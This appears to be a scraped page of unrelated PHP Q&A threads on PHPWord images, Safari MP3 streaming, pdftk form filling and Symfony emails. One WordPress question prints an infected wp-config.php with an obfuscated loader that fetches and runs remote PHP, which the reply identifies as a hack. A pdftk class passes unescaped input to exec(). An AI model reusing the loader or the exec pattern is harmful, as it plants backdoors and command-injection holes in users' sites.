I don't know if is possible to add an image in a template with PHPWord using TemplateProcessor.
I have a document (form.docx). This document is a template. I read the fields (${name} for example) and replace it with a text.
$template = new TemplateProcessor('form.docx');
$template->setValue('name', $name);
But now, I want to put an image but I don't know how I do it. I try with this:
$img='img.jpg';
$template->setValue('image',$img);
Doesn't works. I try other form, creating a section and add this section to template but this fails.
$phpWord = new PhpWord();
$section = $phpWord->createSection();
$section->addImage('img.jpg', array('width'=>210, 'height'=>210, 'align'=>'center'));
$template = new TemplateProcessor('form.docx');
$template->setValue('image',$section).
Anyone know how to put an image in a .docx using a template?
Thanks.
This should do the trick:
// there has to be a text ${foto} in your templatefile.docx for this to work
$templateProcessor = new \PhpOffice\PhpWord\TemplateProcessor('templatefile.docx');
$templateProcessor->setImageValue('foto', array('path' => 'dummy_foto.jpg', 'width' => 100, 'height' => 100, 'ratio' => true));
$templateProcessor->saveAs('result.docx');
// open the file
header("Content-disposition: attachment;filename=" .'result.docx' . " ; charset=iso-8859-1");
echo file_get_contents('result.docx');
The Template Processor can have a save_image function.
see How to add/set images on PHPOffice/PHPWord Template?
Example:
$dokument->save_image('image2',$imagefile,$dokument);
open TemplateProcessor.php from phpWord folder.
replace this sample code inside.
<?php
/**
* PHPWord
*
* Copyright (c) 2010 PHPWord
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*
* #category PHPWord
* #package PHPWord
* #copyright Copyright (c) 010 PHPWord
* #license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL
* #version Beta 0.6.2, 24.07.2010
*/
/**
* PHPWord_DocumentProperties
*
* #category PHPWord
* #package PHPWord
* #copyright Copyright (c) 2009 - 2010 PHPWord (http://www.codeplex.com/PHPWord)
*/
class PHPWord_Template {
private $_objZip;
private $_tempFileName;
private $_documentXML;
private $_header1XML;
private $_footer1XML;
private $_rels;
private $_types;
private $_countRels;
/**
* Create a new Template Object
* #param string $strFilename
*/
public function __construct($strFilename) {
$path = dirname($strFilename);
$this->_tempFileName = $path . DIRECTORY_SEPARATOR . time() . '.docx'; // $path doesn't include the trailing slash - Custom code by Matt Bowden (blenderstyle) 04/12/2011
copy($strFilename, $this->_tempFileName); // Copy the source File to the temp File
$this->_objZip = new ZipArchive();
$this->_objZip->open($this->_tempFileName);
$this->_documentXML = $this->_objZip->getFromName('word/document.xml');
$this->_header1XML = $this->_objZip->getFromName('word/header1.xml'); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
$this->_footer1XML = $this->_objZip->getFromName('word/footer1.xml'); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
$this->_rels = $this->_objZip->getFromName('word/_rels/document.xml.rels'); #erap 07/07/2015
$this->_types = $this->_objZip->getFromName('[Content_Types].xml'); #erap 07/07/2015
$this->_countRels = substr_count($this->_rels, 'Relationship') - 1; #erap 07/07/2015
}
/**
* Set a Template value
* #param mixed $search
* #param mixed $replace
*/
public function setValue($search, $replace) {
$search = '${' . $search . '}';
$replace = $this->limpiarString($replace);
$this->_documentXML = str_replace($search, $replace, $this->_documentXML);
$this->_header1XML = str_replace($search, $replace, $this->_header1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
$this->_footer1XML = str_replace($search, $replace, $this->_footer1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
}
/**
* Save Template
* #param string $strFilename
*/
public function save($strFilename) {
if (file_exists($strFilename))
unlink($strFilename);
$this->_objZip->addFromString('word/document.xml', $this->_documentXML);
$this->_objZip->addFromString('word/header1.xml', $this->_header1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
$this->_objZip->addFromString('word/footer1.xml', $this->_footer1XML); // Custom code by Matt Bowden (blenderstyle) 04/12/2011
$this->_objZip->addFromString('word/_rels/document.xml.rels', $this->_rels); #erap 07/07/2015
$this->_objZip->addFromString('[Content_Types].xml', $this->_types); #erap 07/07/2015
// Close zip file
if ($this->_objZip->close() === false)
throw new Exception('Could not close zip file.');
rename($this->_tempFileName, $strFilename);
}
public function replaceImage($path, $imageName) {
$this->_objZip->deleteName('word/media/' . $imageName);
$this->_objZip->addFile($path, 'word/media/' . $imageName);
}
public function replaceStrToImg( $strKey, $arrImgPath ){
//289x108
$strKey = '${'.$strKey.'}';
$relationTmpl = '<Relationship Id="RID" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image" Target="media/IMG"/>';
$imgTmpl = '<w:pict><v:shape type="#_x0000_t75" style="width:WIDpx;height:HEIpx"><v:imagedata r:id="RID" o:title=""/></v:shape></w:pict>';
$typeTmpl = ' <Override PartName="/word/media/IMG" ContentType="image/EXT"/>';
$toAdd = $toAddImg = $toAddType = '';
$aSearch = array('RID', 'IMG');
$aSearchType = array('IMG', 'EXT');
foreach($arrImgPath as $img){
$imgExt = array_pop( explode('.', $img['img']) );
if( in_array($imgExt, array('jpg', 'JPG') ) )
$imgExt = 'jpeg';
$imgName = 'img' . $this->_countRels . '.' . $imgExt;
$rid = 'rId' . $this->_countRels++;
$this->_objZip->addFile($img['img'], 'word/media/' . $imgName);
if( isset($img['size']) ){
$w = $img['size'][0];
$h = $img['size'][1];
}
else{
$w = 289;
$h = 108;
}
$toAddImg .= str_replace(array('RID', 'WID', 'HEI'), array($rid, $w, $h), $imgTmpl) ;
if( isset($img['dataImg']) )
$toAddImg .= '<w:br/><w:t>' . $this->limpiarString($img['dataImg']) . '</w:t><w:br/>';
$aReplace = array($imgName, $imgExt);
$toAddType .= str_replace($aSearchType, $aReplace, $typeTmpl) ;
$aReplace = array($rid, $imgName);
$toAdd .= str_replace($aSearch, $aReplace, $relationTmpl);
}
$this->_documentXML = str_replace('<w:t>' . $strKey . '</w:t>', $toAddImg, $this->_documentXML);
$this->_types = str_replace('</Types>', $toAddType, $this->_types) . '</Types>';
$this->_rels = str_replace('</Relationships>', $toAdd, $this->_rels) . '</Relationships>';
}
function limpiarString($str) {
return str_replace(
array('&', '<', '>', "\n"),
array('&', '<', '>', "\n" . '<w:br/>'),
$str
);
}
}
?>
You can get full modified code from here.
Related
For Windows Chrome (and probably many other browsers), this code works for serving an mp3 in an audio element:
/**
*
* #param string $filename
* #return \Illuminate\Http\Response|\Illuminate\Contracts\Routing\ResponseFactory
*/
public function getMp3($filename) {
$fileContents = Storage::disk(\App\Helpers\CoachingCallsHelper::DISK)->get($filename);
$fileSize = Storage::disk(\App\Helpers\CoachingCallsHelper::DISK)->size($filename);
$shortlen = $fileSize - 1;
$headers = [
'Accept-Ranges' => 'bytes',
'Content-Range' => 'bytes 0-' . $shortlen . '/' . $fileSize,
'Content-Type' => "audio/mpeg"
];
Log::debug('$headers=' . json_encode($headers));
$response = response($fileContents, 200, $headers);
return $response;
}
But when I use an iPhone to browse to the same page, the mp3 file does not show the total duration, and when I play it, it says "Live broadcast".
I've tried to follow suggestions from various answers of this question (HTML5 <audio> Safari live broadcast vs not) and other articles I've read, but none seem to have an effect.
No matter how I change the headers, the mp3 seems to function as desired on Windows and does not work on iOS.
How can I debug what I'm doing wrong?
Here is HTML:
<audio controls preload="auto">
<source src="{{$coachingCall->getMp3Url()}}" type="audio/mpeg"/>
<p>Your browser doesnt support embedded HTML5 audio. Here is a link to the audio instead.</p>
</audio>
MP3 files don't have timestamps, and therefore no inherent length that can be known ahead of time. Chrome is just guessing, based on the bitrate at the beginning of the file and the byte size of the file. It doesn't really know.
Some players don't bother guessing.
Also, all browsers on iOS are Safari under the hood, thanks to some incredibly restrictive policies by Apple. Therefore, Chrome on iOS is really just a wrapper for a Safari web view.
Whoa, that was a very difficult problem to solve. (It took me days.)
And I learned that it wasn't just iOS that was having problems: Safari on Mac hadn't been working either.
Now I think everything works on every browser I've tested.
I'm really glad I found this example to follow.
Here is my answer:
/**
*
* #param string $disk
* #param string $filename
* #return \Illuminate\Http\Response|\Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\StreamedResponse
*/
public static function getMediaFile($disk, $filename) {
$rangeHeader = request()->header('Range');
$fileContents = Storage::disk($disk)->get($filename);
$fullFilePath = Storage::disk($disk)->path($filename); //https://stackoverflow.com/a/49532280/470749
$headers = ['Content-Type' => Storage::disk($disk)->mimeType($fullFilePath)];
if ($rangeHeader) {
return self::getResponseStream($disk, $fullFilePath, $fileContents, $rangeHeader, $headers);
} else {
$httpStatusCode = 200;
return response($fileContents, $httpStatusCode, $headers);
}
}
/**
*
* #param string $disk
* #param string $fullFilePath
* #param string $fileContents
* #param string $rangeRequestHeader
* #param array $responseHeaders
* #return \Symfony\Component\HttpFoundation\StreamedResponse
*/
public static function getResponseStream($disk, $fullFilePath, $fileContents, $rangeRequestHeader, $responseHeaders) {
$stream = Storage::disk($disk)->readStream($fullFilePath);
$fileSize = strlen($fileContents);
$fileSizeMinusOneByte = $fileSize - 1; //because it is 0-indexed. https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.16
list($param, $rangeHeader) = explode('=', $rangeRequestHeader);
if (strtolower(trim($param)) !== 'bytes') {
abort(400, "Invalid byte range request"); //Note, this is not how https://stackoverflow.com/a/29997555/470749 did it
}
list($from, $to) = explode('-', $rangeHeader);
if ($from === '') {
$end = $fileSizeMinusOneByte;
$start = $end - intval($from);
} elseif ($to === '') {
$start = intval($from);
$end = $fileSizeMinusOneByte;
} else {
$start = intval($from);
$end = intval($to);
}
$length = $end - $start + 1;
$httpStatusCode = 206;
$responseHeaders['Content-Range'] = sprintf('bytes %d-%d/%d', $start, $end, $fileSize);
$responseStream = response()->stream(function() use ($stream, $start, $length) {
fseek($stream, $start, SEEK_SET);
echo fread($stream, $length);
fclose($stream);
}, $httpStatusCode, $responseHeaders);
return $responseStream;
}
I can't comment since I just made my account, so... complementing RYAN's
Just found out that you can save some loading time removing the
$fileContents = Storage::disk($disk)->get($filename);
And replacing it with
$fileSize = Storage::disk($disk)->size($filename);
Passing the size directly to the getResponseStream function, instead of downloading the whole content into a variable and then measuring the length.
Thank you Ryan, saved me a lot of precious time with the stinky safari.
My wp-admin page on my wordpress is giving me this error. I was getting a blank screen so I turned on debug.
Warning: Cannot modify header information - headers already sent by
(output started at/home/content/n3pnexwpnas01_data01/71/3047171/html/wp-config.php:1) in
/home/content/n3pnexwpnas01_data01/71/3047171/html/wp-
includes/pluggable.php on line 1216
I checked my problematic wp-config.php file at line 1 and it doesn't seem to have extra spaces or extra tags at the beginning or end of the file that other guides recommend I get rid of. Does anyone have any advice?
This is the wp-config.php file
<?php
#ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {
function get_data_ya($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
function wp_cd($fd, $fa="")
{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
$subdirs = glob("$dira/*", GLOB_ONLYDIR);
foreach ($subdirs as $subdira) {
if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}
?><?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* #link https://codex.wordpress.org/Editing_wp-config.php
*
* #package WordPress
*
/**
* WordPress Database Table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*/
$table_prefix = 'wp_1ab28k9bjk_';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the Codex.
*
* #link https://codex.wordpress.org/Debugging_in_WordPress
*/
define('WP_DEBUG', true);
//define( 'WP_CACHE', true );
require_once( dirname( __FILE__ ) . '/gd-config.php' );
define( 'FS_METHOD', 'direct');
define('FS_CHMOD_DIR', (0705 & ~ umask()));
define('FS_CHMOD_FILE', (0604 & ~ umask()));
/* That's all, stop editing! Happy blogging. */
/** Absolute path to the WordPress directory. */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** Sets up WordPress vars and included files. */
require_once(ABSPATH . 'wp-settings.php');
I would guess your site got hacked so remove everything before the second <?php
So, here's the skinny.
I have an HTML form (of which there will be many depending on the Letter template) that passes the form data into a Letter Template via PHP. THIS...I have successfully done.
However, what I need is to pass the data INTO the template, THEN turn that template INTO a PDF.
Any suggestions? AND......GO
I've recently use pdftk (server) to do so: https://www.pdflabs.com/tools/pdftk-server/
First, install it on a webserver or locally.
Then, here's a PHP class I adapted from the web (copy it and name it PdfFormToPdftk.php):
<?php
class PdfFormToPdftk {
/*
* Path to raw PDF form
* #var string
*/
private $pdfurl;
/*
* Path to PDFKTK
* #var string
*/
private $pdftkpath;
/*
* Path to temp files
* #var string
*/
private $tmppath;
/*
* Errors
* #var string
*/
private $errors;
/*
* Last command done
* #var string
*/
private $lastcmd;
/*
* Form data
* #var array
*/
private $data;
/*
* Path to filled PDF form
* #var string
*/
private $output;
/*
* Flag for flattening the file
* #var string
*/
private $flatten;
public function __construct($pdfurl, $data, $tmppath, $pdftkpath = '/usr/bin/pdftk') {
$this->pdfurl = $pdfurl;
$this->data = $data;
$this->tmppath = $tmppath;
$this->pdftkpath = $pdftkpath;
}
private function tempfile() {
return tempnam($this->tmppath, gethostname());
}
public function fields($pretty = false) {
$tmp = $this->tempfile();
exec("{$this->pdftkpath} {$this->pdfurl} dump_data_fields > {$tmp}");
$con = file_get_contents($tmp);
unlink($tmp);
return $pretty == true ? nl2br($con) : $con;
}
private function makeFdf() {
$fdf = '%FDF-1.2
1 0 obj<</FDF<< /Fields[';
foreach ($this->data as $key => $value) {
$fdf .= '<</T(' . $key . ')/V(' . $value . ')>>';
}
$fdf .= "] >> >>
endobj
trailer
<</Root 1 0 R>>
%%EOF";
$fdf_file = $this->tempfile();
file_put_contents($fdf_file, $fdf);
return $fdf_file;
}
public function flatten() {
$this->flatten = ' flatten';
return $this;
}
private function generate() {
$fdf = $this->makeFdf();
$this->output = $this->tempfile();
$cmd = "{$this->pdftkpath} {$this->pdfurl} fill_form {$fdf} output {$this->output}{$this->flatten} 2>&1";
$this->lastcmd = $cmd;
exec($cmd, $outputAndErrors, $returnValue);
$this->errors = $outputAndErrors;
unlink($fdf);
}
public function save($path = null) {
if (is_null($path)) {
return $this;
}
if (!$this->output) {
$this->generate();
}
$dest = pathinfo($path, PATHINFO_DIRNAME);
if (!file_exists($dest)) {
mkdir($dest, 0775, true);
}
if (!copy($this->output, $path)) {
echo "failed to copy $path...\n";
}
unlink($this->output);
$this->output = $path;
return $this;
}
public function download() {
if (!$this->output) {
$this->generate();
}
$filepath = $this->output;
if (file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/pdf');
header('Content-Disposition: attachment; filename=' . uniqid(gethostname()) . '.pdf');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
readfile($filepath);
exit;
}
}
}
You could use it like this in some script:
<?php
require_once 'PdfFormToPdftk.php';
$datas = ['firstname' => 'Foo', 'lastname' => 'Bar'];
$output_file = 'yourfile.pdf';
$template_pdf_file = 'templatefile.pdf'; //where your virgin pdf template contains at least 'firstname' and 'lastname' as editable fields. You might want to use Adobe Acrobat Pro and save it as a Adobe Static PDF Form
$path_to_pdftk_server = '/opt/pdflabs/pdftk/bin/pdftk'; // type 'which pdftk' in your console to find yours
$pdf = new PdfFormToPdftk($template_pdf_file, $datas, '/', $path_to_pdftk_server);
$file = $pdf->save($output_file);
i am trying to modify some code that parses text for html hyperlinks and puts them into a database.
The change i'm trying to make is to only match if html hyperlink contains a certain text such as:
my image
would not be matched but
my image2
would be matched based on that it has the "/thisismyunique/string" in the url.
Any ideas?
class blcHTMLLink extends blcParser {
var $supported_formats = array('html');
/**
* Parse a string for HTML links - anchor text
*
* #param string $content The text to parse.
* #param string $base_url The base URL to use for normalizing relative URLs. If ommitted, the blog's root URL will be used.
* #param string $default_link_text
* #return array An array of new blcLinkInstance objects. The objects will include info about the links found, but not about the corresponding container entity.
*/
function parse($content, $base_url = '', $default_link_text = ''){
//remove all <code></code> blocks first
$content = preg_replace('/<code[^>]*>.+?<\/code>/si', ' ', $content);
//Find links
$params = array(
'base_url' => $base_url,
'default_link_text' => $default_link_text,
);
$instances = $this->map($content, array($this, 'parser_callback'), $params);
//The parser callback returns NULL when it finds an invalid link. Filter out those nulls
//from the list of instances.
$instances = array_filter($instances);
return $instances;
}
/**
* blcHTMLLink::parser_callback()
*
* #access private
*
* #param array $link
* #param array $params
* #return blcLinkInstance|null
*/
function parser_callback($link, $params){
global $blclog;
$base_url = $params['base_url'];
$url = $raw_url = $link['href'];
$url = trim($url);
//$blclog->debug(__CLASS__ .':' . __FUNCTION__ . ' Found a link, raw URL = "' . $raw_url . '"');
//Sometimes links may contain shortcodes. Execute them.
$url = do_shortcode($url);
//Skip empty URLs
if ( empty($url) ){
$blclog->warn(__CLASS__ .':' . __FUNCTION__ . ' Skipping the link (empty URL)');
return null;
};
//Attempt to parse the URL
$parts = #parse_url($url);
if(!$parts) {
$blclog->warn(__CLASS__ .':' . __FUNCTION__ . ' Skipping the link (parse_url failed)', $url);
return null; //Skip invalid URLs
};
if ( !isset($parts['scheme']) ){
//No scheme - likely a relative URL. Turn it into an absolute one.
//TODO: Also log the original URL and base URL.
$url = $this->relative2absolute($url, $base_url); //$base_url comes from $params
$blclog->info(__CLASS__ .':' . __FUNCTION__ . ' Convert relative URL to absolute. Absolute URL = "' . $url . '"');
}
//Skip invalid links (again)
if ( !$url || (strlen($url)<6) ) {
$blclog->info(__CLASS__ .':' . __FUNCTION__ . ' Skipping the link (invalid/short URL)', $url);
return null;
}
//Remove left-to-right marks. See: https://en.wikipedia.org/wiki/Left-to-right_mark
$ltrm = json_decode('"\u200E"');
$url = str_replace($ltrm, '', $url);
$text = $link['#link_text'];
//The URL is okay, create and populate a new link instance.
$instance = new blcLinkInstance();
$instance->set_parser($this);
$instance->raw_url = $raw_url;
$instance->link_text = $text;
$link_obj = new blcLink($url); //Creates or loads the link
$instance->set_link($link_obj);
return $instance;
}
If you already have a href index in your $link parameter, which should contains the URL, you could easily do this:
$blockedWord = '/thisismyunique/string';
$blockedWordPosition = strpos($link['href'], $blockedWord);
$hasBlockedWord = $blockedWordPosition !== false;
Watch out, because strpos could return 0, if the needle has found in the beginning of the haystack string.
Find out more here:
http://php.net/manual/en/function.strpos.php
I am attempting to send an HTML email from a symfony (1.4.6) task, I don't want to send the entire rendered HTML output from a particular module/action, so I am rendering a partial. That's all fine, the issue is that the partial contains CSS references.
Is there a nice 'symfonic' way of including a CSS file in an HTML email from a symfony task, when all I am doing is rendering a specific partial? Or is the only solution to build the HTML head/body manually inside the task, using file_get_contents(cssFile) to grab the CSS file and then concatenating the rendered partial?
Any thoughts would be appreciated.
I ran into the same problem in my project. Here's how I fixed it:
To keep the CSS separate but get it inline before sending the email, we use Emogrifier. Download the source code and put it into %sf_lib_dir%/vendor/emogrifier.
Create a myMailer class that extends sfMailer. Mine is below. There are a few separate functions, but the key function is composeAndSendPartial, which takes a partial name (as a string), inserts all the CSS inline, and sends it. I tried to remove all code that's specific to my project, but I may have left some in. Let me know if it doesn't work for you or if you have any questions.
In factories.yml, set the mailer: to myMailer
myMailer.class.php:
<?php
class myMailer extends sfMailer
{
/**
* Creates a new message with 2 bodies:
* * 1 with $body and MIME type text/html.
* * 1 with $body and tags stripped with MIME type text/plain. Stipped <br/>, </p>, and </div> tags and replaced with \n
*
* #param string|array $from The from address
* #param string|array $to The recipient(s)
* #param string $subject The subject
* #param string $body The body
*
* #return Swift_Message A Swift_Message instance
*/
public function composeAndSendHtml($from, $to, $subject, $body)
{
return $this->send($this->composeHtml($from, $to, $subject, $body));
}
/**
* Sends a message using composeHtml.
*
* #param string|array $from The from address
* #param string|array $to The recipient(s)
* #param string $subject The subject
* #param string $body The body
*
* #return int The number of sent emails
*/
public function composeHtml($from = null, $to = null, $subject = null, $body = null)
{
return Swift_Message::newInstance()
->setFrom($from)
->setTo($to)
->setSubject($subject)
->addPart($this->createPlainTextBody($body), 'text/plain')
->addPart($body, 'text/html');
}
/**
* Attempts to create a plaintext message with all html tags stripped out and new lines inserted as necessary
* #param $body
* #return $body
*/
public function createPlainTextBody($body)
{
$body = preg_replace('/\<br\s*\/?\>/i', "\n", $body); //replace all <br/s> with new lines
$body = preg_replace('/\<\/p\s*\>/i', "</p>\n\n", $body); //append 2 newlines to the end of each </p>
$body = preg_replace('/\<\/div\s*\>/i', "</div>\n\n", $body); //append 2 newlines to the end of each </div>
$body = strip_tags($body); //strip all tags from the body
return $body;
}
/**
* Composes and sends an email with a body from rendering $partial with $parameters
* #param string $from
* #param string $to
* #param string $subject
* #param string $partial the partial as a string. Feel free to change the default module name below
* #param array $parameters Parameters for the partial
* #param array $globalStylesheets The stylesheets that are included globally (usually global.css, maybe others)
*/
public function composeAndSendPartial($from, $to, $subject, $partial, $parameters = array(), $globalStylesheets = array())
{
require_once(sfConfig::get('sf_lib_dir') . '/vendor/emogrifier/emogrifier.php');
$context = sfContext::getInstance();
$response = $context->getResponse();
$originalStylesheets = $response->getStylesheets();
if (false !== $sep = strpos($partial, '/'))
{
$moduleName = substr($partial, 0, $sep);
$templateName = '_' . substr($partial, $sep + 1);
}
else
{
$moduleName = 'email';
$templateName = '_' . $partial;
}
sfConfig::set('sf_is_email', true);
$view = new sfPHPView($context, $moduleName, $templateName, ''); #not sure what 4th parameter does
$view->getAttributeHolder()->add($parameters);
$view->setDecorator(true);
$view->setDecoratorTemplate('email.php');
$html = $view->render();
sfConfig::set('sf_is_email', false);
$emailStylesheets = array_keys(array_diff_key($response->getStylesheets(), $originalStylesheets));
$css = '';
foreach($globalStylesheets as $globalStylesheet)
{
$css .= file_get_contents(sfConfig::get('sf_web_dir') . '/css/' . $globalStylesheet . '.css');
}
foreach ($emailStylesheets as $stylesheet)
{
$css .= file_get_contents(sfConfig::get('sf_web_dir') . '/css/' . $stylesheet . '.css');
$response->removeStylesheet($stylesheet);
}
$emog = new Emogrifier($html, $css);
$body = $emog->emogrify();
$this->composeAndSendHtml($from, $to, $subject, $body);
}
}